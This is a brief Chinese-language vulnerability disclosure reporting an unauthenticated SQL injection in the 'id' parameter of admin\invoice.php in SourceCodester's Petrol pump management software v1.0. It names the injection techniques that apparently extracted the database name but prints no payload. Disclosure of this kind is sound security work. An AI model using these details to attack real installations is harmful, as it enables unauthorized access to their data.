Petrol pump management software free download | SourceCodester
sourcecodester Petrol pump management software v1.0 存在 SQL 注入漏洞。该漏洞被评为高风险，影响 admin\invoice.php 文件的某些未知功能。攻击者可以利用参数 id 构造恶意 SQL 语句来获取敏感信息，从而造成危害。
admin\invoice.php
此处，用户输入 $_POST['id'] 被直接拼接到 SQL 查询语句中，显然容易受到 SQL 注入攻击。

观察数据包，我没有添加 cookie 值，表明无需认证，也不需要登录即可远程发起攻击。
可以看到，该 payload 利用了基于时间的盲注、基于布尔的盲注、堆叠查询和 UNION 查询等注入方式，并成功注出了数据库名称。
